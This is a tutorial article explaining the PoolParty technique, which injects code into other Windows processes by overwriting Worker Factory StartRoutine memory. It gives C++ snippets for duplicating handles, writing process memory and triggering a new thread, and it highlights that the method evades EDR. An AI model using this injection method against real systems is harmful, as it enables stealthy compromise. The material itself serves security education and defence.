Partying by the pool. Mastering PoolParty process injection techniques

Date: 26/06/2025

PoolParty is a new type of injections into legitimate processes that abuses Windows Thread Pools, a sophisticated thread management mechanism. Let’s dissect Windows Thread Pools to find out how it can be used for pentesting purposes.

Code injection is an efficient attack technique: malicious code is injected into a third-party process to gain control over it or perform certain actions. Since this operation can be performed not only by a pentester but also by a hacker, any cybersecurity specialist must be proficient in injection techniques to be able to repel such attacks.

warning

This article is intended for security specialists operating under a contract; all information provided in it is for educational purposes only. Neither the author nor the Editorial Board can be held liable for any damages caused by improper usage of this publication. Distribution of malware, disruption of systems, and violation of secrecy of correspondence are prosecuted by law.

Windows Thread Pools

The Windows Thread Pools mechanism significantly simplifies thread management for programmers. Such tasks as asynchronous interaction and performance management are solved under the hood by reusing existing threads, which reduces CPU costs required to create and kill them. Concurrently, Windows Thread Pools solves problems associated with thread queues and zillions of tiny nuances that could easily drive a programmer crazy.

The code that manages thread pools is located mostly in user mode (ntdll.dll), and only a small part of it is located in the kernel; as a result, there is no need to waste resources on frequent context switching between the kernel and user space.

The main elements of Windows Thread Pools are as follows:

  • Worker Factory that manages the creation and deletion of new threads; and 
  • Work queues:
    • task queue dispatches tasks that are passed to the pool. These tasks can be either fast (i.e. executed within a short time) or longer. The thread pool is scaled automatically; if the number of tasks is large, the pool can create additional threads to cope with the load;
    • I/O completion queue performs tasks related to I/O operations (e.g. file operations or network requests); and 
    • timer queue makes it possible to execute tasks at certain intervals or at a specified time.

From the PoolParty exploitation perspective, the above-listed Thread Pools elements are of utmost interest.

It must be noted that all processes running in a Windows environment use Thread Pools by default. To verify this experimentally, you can launch Process Explorer, select any process, and go to the Handles tab.

Worker Factories in the svchost.exe process
Worker Factories in the svchost.exe process

As you can see, the svchost.exe process uses Worker Factories, which means that the Thread Pools mechanism is enabled.

To see the PoolParty technique in action, let’s try to attack Worker Factories. But first of all, you must be aware of how are they created.

NTSTATUS NTAPI NtCreateWorkerFactory(
_Out_ PHANDLE WorkerFactoryHandleReturn,
_In_ ACCESS_MASK DesiredAccess,
_In_opt_ POBJECT_ATTRIBUTES ObjectAttributes,
_In_ HANDLE CompletionPortHandle,
_In_ HANDLE WorkerProcessHandle,
_In_ PVOID StartRoutine,
_In_opt_ PVOID StartParameter,
_In_opt_ ULONG MaxThreadCount,
_In_opt_ SIZE_T StackReserve,
_In_opt_ SIZE_T StackCommit
);

NtCreateWorkerFactory is an NTAPI function that creates a Thread Pools Worker Factory. Its WorkerProcessHandle and StartRoutine arguments are of special interest.

StartRoutine is a pointer to the code that will be executed by the Worker Factory when a new thread is created; while WorkerProcessHandle is a handle to the process whose context will be used to execute the worker threads. This can be a handle to the current process or another one (distributed processing). Let’s try to modify the StartRoutine code so that it executes your payload, thus, making the factory work for you.

But before you can start modify StartRoutine, some preparations are required.

Capture the target handle

Interaction with Thread Pools elements is implemented via handles. Accordingly, to gain access to the Working Factory of the target process, you have to find its handle and capture it using the WinAPI DuplicateHandle function.

Thread Pools handles are divided into several types. If you need access to a Worker Factory, a handle whose object type is TpWorkerFactory should be used; to access a timer queue, IRTimer; and to access an I/O queue, a handle of the IoCompletion type. Since you are going to attack a Worker Factory, you have to look for the TpWorkerFactory object manager type.

In addition, NTAPI functions NtQueryInformationProcess and NtQueryObject will be required; their addresses can be obtained dynamically from ntdll.dll (FYI: addresses of other NTAPI functions mentioned in this article can be obtained in a similar way).

typedef NTSTATUS(NTAPI* proto_NtQueryInformationProcess)(
_In_ HANDLE ProcessHandle,
_In_ PROCESSINFOCLASS ProcessInformationClass,
_Out_writes_bytes_(ProcessInformationLength) PVOID ProcessInformation,
_In_ ULONG ProcessInformationLength,
_Out_opt_ PULONG ReturnLength
);
typedef NTSTATUS(NTAPI* proto_NtQueryObject)(
_In_opt_ HANDLE Handle,
_In_ OBJECT_INFORMATION_CLASS ObjectInformationClass,
_Out_writes_bytes_opt_(ObjectInformationLength) PVOID ObjectInformation,
_In_ ULONG ObjectInformationLength,
_Out_opt_ PULONG ReturnLength
);
...
proto_NtQueryInformationProcess ptr_NtQueryInformationProcess = nullptr;
proto_NtQueryObject ptr_NtQueryObject = nullptr;
ptr_NtQueryInformationProcess = reinterpret_cast<proto_NtQueryInformationProcess>(GetProcAddress(GetModuleHandleW(L"ntdll.dll"), "NtQueryInformationProcess"));
prt_NtQueryObject = reinterpret_cast<proto_NtQueryObject>(GetProcAddress(GetModuleHandleW(L"ntdll.dll"), "NtQueryObject"));

Next, you get the list of all open handles for the target process using the GetProcessHandleCount function and allocate memory for the PROCESS_HANDLE_SNAPSHOT_INFORMATION and PROCESS_HANDLE_TABLE_ENTRY_INFO structures. Important: some extra memory might be required should the number of handles change afterwards.

GetProcessHandleCount(targetProcess, (PDWORD)&handles);
szTypeInfo = sizeof(PROCESS_HANDLE_SNAPSHOT_INFORMATION) + ((handles + 5) * sizeof(PROCESS_HANDLE_TABLE_ENTRY_INFO));
processes = static_cast<PPROCESS_HANDLE_SNAPSHOT_INFORMATION>(HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, szTypeInfo));

To fill the previously allocated memory with information about process handles, you have to call NtQueryInformationProcess with the ProcessHandleInformation argument.

ptr_NtQueryInformationProcess(
targetProcess,
// ProcessHandleInformation
(PROCESSINFOCLASS)51,
// PPROCESS_HANDLE_SNAPSHOT_INFORMATION
processes,
szTypeInfo,
NULL);

Then you have to capture all process handles stored in processes->NumberOfHandles. To do this, call DuplicateHandle for each handle using NtQueryObject, get information about it contained in the PUBLIC_OBJECT_TYPE_INFORMATION structure, and filter out the suitable handles whose type is TpWorkerFactory.

DuplicateHandle(targetProcess,
processes->Handles[i].HandleValue,
GetCurrentProcess(),
&gotchedHandle,
accessFlags,
FALSE,
NULL)
prt_NtQueryObject(gotchedHandle,
ObjectTypeInformation,
// Call NtQueryObject with NULL to get information on the required memory size
NULL,
NULL,
(PULONG)&objTypeLen);
objTypeInfo = static_cast<PPUBLIC_OBJECT_TYPE_INFORMATION>(HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, objTypeLen));
prt_NtQueryObject(gotchedHandle,
ObjectTypeInformation,
objTypeInfo,
objTypeLen,
NULL);
if (wcsncmp(L"TpWorkerFactory", objTypeInfo->TypeName.Buffer, wcslen(L"TpWorkerFactory")) == 0) {
// Found it!
}
HeapFree(GetProcessHeap(), 0, objTypeInfo);

Now that the required handles are obtained, let’s proceed to the most interesting part: intercepting control by modifying the StartRoutine code.

Modifying StartRoutine

StartRoutine cannot be modified if the Worker Factory has already been created (and, as you understand, this is exactly the case: it has already been created in a third-party process), but you can modify the code it points to! To continue the attack, the following NTAPI functions will be required:

  • NtQueryInformationWorkerFactory – to get information about the Worker Factory; and 
  • NtSetInformationWorkerFactory – to modify information about the Worker Factory.

Let’s examine their prototypes:

NtQueryInformationWorkerFactory(
_In_ HANDLE WorkerFactoryHandle,
_In_ WORKERFACTORYINFOCLASS WorkerFactoryInformationClass,
_Out_writes_bytes_(WorkerFactoryInformationLength) PVOID WorkerFactoryInformation,
_In_ ULONG WorkerFactoryInformationLength,
_Out_opt_ PULONG ReturnLength
);
NtSetInformationWorkerFactory(
_In_ HANDLE WorkerFactoryHandle,
_In_ WORKERFACTORYINFOCLASS WorkerFactoryInformationClass,
_In_reads_bytes_(WorkerFactoryInformationLength) PVOID WorkerFactoryInformation,
_In_ ULONG WorkerFactoryInformationLength
);

First, you get information about your factory (or more precisely, about above-discussed StartRoutine) by calling NtQueryInformationWorkerFactory with the WorkerFactoryBasicInformation argument. Also, you have to fill in the WORKER_FACTORY_BASIC_INFORMATION structure.

ptr_NtQueryInformationWorkerFactory(
gotchedHandle,
WorkerFactoryBasicInformation,
&factoryInf, // factoryInf is a structure of the WORKER_FACTORY_BASIC_INFORMATION type
sizeof(WORKER_FACTORY_BASIC_INFORMATION),
nullptr);

Time has come for the most exciting part – direct modification of StartRoutine:

  • using VirtualProtectEx, you change access rights to memory containing StartRoutine to be able to write your payload to this area; and 
  • using WriteProcessMemory, you write your payload to memory and restore the initial access rights to this memory area by calling VirtualProtectEx again.
VirtualProtectEx(
targetProcess,
factoryInf.StartRoutine,
szPayload,
PAGE_READWRITE,
(PDWORD)&oldProtect);
WriteProcessMemory(
targetProcess,
// Address to write payload at
factoryInf.StartRoutine,
// Payload
addrPayload,
// Payload size
szPayload,
nullptr);
VirtualProtectEx(
targetProcess,
factoryInf.StartRoutine,
szPayload,
oldProtect,
(PDWORD)&oldProtect );

Voila! Your Worker Factory is ‘charged’. Now let’s change the minimum number of threads in the pool because an additional thread has been created. To do this, use the NtSetInformationWorkerFactory function.

// Increasing the minimum number of threads by 1
threadsCount = factoryInf.TotalWorkerCount + 1;
ptr_NtSetInformationWorkerFactory(
gotchedHandle,
WorkerFactoryThreadMinimum,
&threadsCount,
sizeof(uint32_t));

The minimum number of threads in the pool was increased to ensure that your payload will be executed. After changing code in the StartRoutine factory, you create a new thread that will execute this code. To make this operation possible, the WorkerFactoryThreadMinimum parameter has to be increased.

Important: this is the key step required to deliver your attack; without it, your payload won’t be executed (or you would have to wait indefinitely without any guarantee).

Importantly, the payload is executed without calling the standard functions used to create threads and processes. This prevents antivirus tools from detecting such attacks: the above-described approach breaks the standard behavior pattern that makes EDR suspicious.

Conclusions

Pentesters can use the PoolParty technique to covertly inject code into highly privileged processes. From a security perspective, the growing popularity of PoolParty necessitates the need to improve monitoring of system calls and enhance control over access rights to system objects. And needless to say, you should always keep your security systems up to date.

This article addressed only one type of PoolParty techniques: attacks on Worker Factories. If necessary, you can attack all three queues used by Windows Thread Pools, although, as practice shows, this approach is slightly less efficient.

Good luck!

Related posts:
2022.01.13 — Bug in Laravel. Disassembling an exploit that allows RCE in a popular PHP framework

Bad news: the Ignition library shipped with the Laravel PHP web framework contains a vulnerability. The bug enables unauthorized users to execute arbitrary code. This article examines…

Full article →
2022.02.09 — First contact: An introduction to credit card security

I bet you have several cards issued by international payment systems (e.g. Visa or MasterCard) in your wallet. Do you know what algorithms are…

Full article →
2022.01.12 — First contact. Attacks against contactless cards

Contactless payment cards are very convenient: you just tap the terminal with your card, and a few seconds later, your phone rings indicating that…

Full article →
2022.02.16 — Timeline of everything. Collecting system events with Plaso

As you are likely aware, forensic analysis tools quickly become obsolete, while hackers continuously invent new techniques enabling them to cover tracks! As…

Full article →
2022.06.01 — Quarrel on the heap. Heap exploitation on a vulnerable SOAP server in Linux

This paper discusses a challenging CTF-like task. Your goal is to get remote code execution on a SOAP server. All exploitation primitives are involved with…

Full article →
2023.04.19 — Kung fu enumeration. Data collection in attacked systems

In penetration testing, there's a world of difference between reconnaissance (recon) and data collection (enum). Recon involves passive actions; while enum, active ones. During recon,…

Full article →
2022.06.01 — Cybercrime story. Analyzing Plaso timelines with Timesketch

When you investigate an incident, it's critical to establish the exact time of the attack and method used to compromise the system. This enables you to track the entire chain of operations…

Full article →
2023.03.03 — Nightmare Spoofing. Evil Twin attack over dynamic routing

Attacks on dynamic routing domains can wreak havoc on the network since they disrupt the routing process. In this article, I am going to present my own…

Full article →
2022.06.01 — Routing nightmare. How to pentest OSPF and EIGRP dynamic routing protocols

The magic and charm of dynamic routing protocols can be deceptive: admins trust them implicitly and often forget to properly configure security systems embedded in these protocols. In this…

Full article →
2023.03.26 — Attacks on the DHCP protocol: DHCP starvation, DHCP spoofing, and protection against these techniques

Chances are high that you had dealt with DHCP when configuring a router. But are you aware of risks arising if this protocol is misconfigured on a…

Full article →